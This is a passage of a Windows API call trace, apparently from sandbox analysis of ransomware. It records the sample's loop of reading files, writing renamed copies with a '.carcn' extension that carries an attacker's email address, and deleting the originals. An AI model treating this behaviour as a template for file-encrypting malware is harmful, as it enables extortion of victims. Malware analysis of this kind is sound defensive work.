(lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.401] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0161.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.401] lstrlenW (lpString=".doc") returned 4 [0161.401] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.401] lstrlenW (lpString=".docx") returned 5 [0161.401] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.401] lstrlenW (lpString=".pdf") returned 4 [0161.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.401] lstrlenW (lpString=".xls") returned 4 [0161.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.401] lstrlenW (lpString=".xlsx") returned 5 [0161.401] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.401] lstrlenW (lpString=".ppt") returned 4 [0161.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString=".zip") returned 4 [0161.402] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString=".rar") returned 4 [0161.402] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString=".bz2") returned 4 [0161.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.402] lstrlenW (lpString=".7z") returned 3 [0161.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString=".dbf") returned 4 [0161.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString=".1cd") returned 4 [0161.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString=".jpg") returned 4 [0161.402] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString=".doc") returned 4 [0161.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString=".docx") returned 5 [0161.402] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.402] lstrlenW (lpString=".pdf") returned 4 [0161.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString=".xls") returned 4 [0161.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString=".xlsx") returned 5 [0161.402] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.402] lstrlenW (lpString=".ppt") returned 4 [0161.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.402] lstrlenW (lpString=".zip") returned 4 [0161.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.403] lstrlenW (lpString=".rar") returned 4 [0161.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.403] lstrlenW (lpString=".bz2") returned 4 [0161.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.403] lstrlenW (lpString=".7z") returned 3 [0161.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.403] lstrlenW (lpString=".dbf") returned 4 [0161.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.403] lstrlenW (lpString=".1cd") returned 4 [0161.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0161.403] lstrlenW (lpString=".jpg") returned 4 [0161.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.403] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.403] lstrlenW (lpString="Rotate2.ico") returned 11 [0161.403] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.403] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0161.403] CloseHandle (hObject=0x31c) returned 1 [0161.404] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0161.404] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.404] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.404] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0161.404] GetLastError () returned 0x0 [0161.404] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.432] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0161.433] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.433] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0161.433] SetEndOfFile (hFile=0x2d8) returned 1 [0161.433] CloseHandle (hObject=0x2d8) returned 1 [0161.434] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.434] SetEndOfFile (hFile=0x31c) returned 1 [0161.434] CloseHandle (hObject=0x31c) returned 1 [0161.434] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.435] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0161.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.435] lstrlenW (lpString=".doc") returned 4 [0161.435] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.435] lstrlenW (lpString=".docx") returned 5 [0161.435] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0161.435] lstrlenW (lpString=".pdf") returned 4 [0161.435] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.435] lstrlenW (lpString=".xls") returned 4 [0161.435] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.435] lstrlenW (lpString=".xlsx") returned 5 [0161.435] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0161.435] lstrlenW (lpString=".ppt") returned 4 [0161.435] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.435] lstrlenW (lpString=".zip") returned 4 [0161.435] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.435] lstrlenW (lpString=".rar") returned 4 [0161.435] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.435] lstrlenW (lpString=".bz2") returned 4 [0161.435] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.436] lstrlenW (lpString=".7z") returned 3 [0161.436] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.436] lstrlenW (lpString=".dbf") returned 4 [0161.436] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.436] lstrlenW (lpString=".1cd") returned 4 [0161.436] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.436] lstrlenW (lpString=".jpg") returned 4 [0161.436] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.436] lstrlenW (lpString=".doc") returned 4 [0161.436] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.436] lstrlenW (lpString=".docx") returned 5 [0161.436] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0161.436] lstrlenW (lpString=".pdf") returned 4 [0161.436] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.436] lstrlenW (lpString=".xls") returned 4 [0161.436] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.436] lstrlenW (lpString=".xlsx") returned 5 [0161.436] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0161.436] lstrlenW (lpString=".ppt") returned 4 [0161.436] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.436] lstrlenW (lpString=".zip") returned 4 [0161.436] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.436] lstrlenW (lpString=".rar") returned 4 [0161.436] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.436] lstrlenW (lpString=".bz2") returned 4 [0161.436] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.436] lstrlenW (lpString=".7z") returned 3 [0161.436] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.437] lstrlenW (lpString=".dbf") returned 4 [0161.437] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.437] lstrlenW (lpString=".1cd") returned 4 [0161.437] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0161.437] lstrlenW (lpString=".jpg") returned 4 [0161.437] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.437] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.437] lstrlenW (lpString="Rotate3.ico") returned 11 [0161.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.437] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0161.437] CloseHandle (hObject=0x31c) returned 1 [0161.437] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0161.437] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0161.438] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.438] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.438] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0161.438] GetLastError () returned 0x0 [0161.438] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.584] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0161.585] ReadFile (in: hFile=0x31c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.585] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0161.585] SetEndOfFile (hFile=0x2d8) returned 1 [0161.585] CloseHandle (hObject=0x2d8) returned 1 [0161.586] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.586] SetEndOfFile (hFile=0x31c) returned 1 [0161.587] CloseHandle (hObject=0x31c) returned 1 [0161.587] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.587] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0161.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.645] lstrlenW (lpString=".doc") returned 4 [0161.645] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.645] lstrlenW (lpString=".docx") returned 5 [0161.645] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0161.645] lstrlenW (lpString=".pdf") returned 4 [0161.645] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.645] lstrlenW (lpString=".xls") returned 4 [0161.645] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.645] lstrlenW (lpString=".xlsx") returned 5 [0161.645] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0161.645] lstrlenW (lpString=".ppt") returned 4 [0161.645] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.645] lstrlenW (lpString=".zip") returned 4 [0161.646] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.646] lstrlenW (lpString=".rar") returned 4 [0161.646] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.646] lstrlenW (lpString=".bz2") returned 4 [0161.646] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.646] lstrlenW (lpString=".7z") returned 3 [0161.646] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.646] lstrlenW (lpString=".dbf") returned 4 [0161.646] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.646] lstrlenW (lpString=".1cd") returned 4 [0161.646] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.646] lstrlenW (lpString=".jpg") returned 4 [0161.646] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.646] lstrlenW (lpString=".doc") returned 4 [0161.646] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.646] lstrlenW (lpString=".docx") returned 5 [0161.646] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0161.646] lstrlenW (lpString=".pdf") returned 4 [0161.646] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.646] lstrlenW (lpString=".xls") returned 4 [0161.646] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.646] lstrlenW (lpString=".xlsx") returned 5 [0161.646] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0161.646] lstrlenW (lpString=".ppt") returned 4 [0161.646] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.647] lstrlenW (lpString=".zip") returned 4 [0161.647] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.647] lstrlenW (lpString=".rar") returned 4 [0161.647] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.647] lstrlenW (lpString=".bz2") returned 4 [0161.647] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.647] lstrlenW (lpString=".7z") returned 3 [0161.647] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.647] lstrlenW (lpString=".dbf") returned 4 [0161.647] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.647] lstrlenW (lpString=".1cd") returned 4 [0161.647] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0161.647] lstrlenW (lpString=".jpg") returned 4 [0161.647] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.647] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.647] lstrlenW (lpString="Rotate7.ico") returned 11 [0161.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.647] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0161.647] CloseHandle (hObject=0x2f8) returned 1 [0161.648] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0161.648] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.648] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.648] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.648] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.648] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.648] GetLastError () returned 0x0 [0161.648] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.666] WriteFile (in: hFile=0x2fc, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0161.667] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.667] WriteFile (in: hFile=0x2fc, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0161.668] SetEndOfFile (hFile=0x2fc) returned 1 [0161.668] CloseHandle (hObject=0x2fc) returned 1 [0161.668] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.668] SetEndOfFile (hFile=0x2f8) returned 1 [0161.669] CloseHandle (hObject=0x2f8) returned 1 [0161.669] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.669] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0161.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW (lpString=".doc") returned 4 [0161.670] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.670] lstrlenW (lpString=".docx") returned 5 [0161.670] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0161.670] lstrlenW (lpString=".pdf") returned 4 [0161.670] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.670] lstrlenW (lpString=".xls") returned 4 [0161.670] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.670] lstrlenW (lpString=".xlsx") returned 5 [0161.670] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0161.670] lstrlenW (lpString=".ppt") returned 4 [0161.670] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW (lpString=".zip") returned 4 [0161.670] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.670] lstrlenW (lpString=".rar") returned 4 [0161.670] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.670] lstrlenW (lpString=".bz2") returned 4 [0161.670] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.670] lstrlenW (lpString=".7z") returned 3 [0161.670] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW (lpString=".dbf") returned 4 [0161.670] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW (lpString=".1cd") returned 4 [0161.670] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW (lpString=".jpg") returned 4 [0161.670] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0161.670] lstrlenW 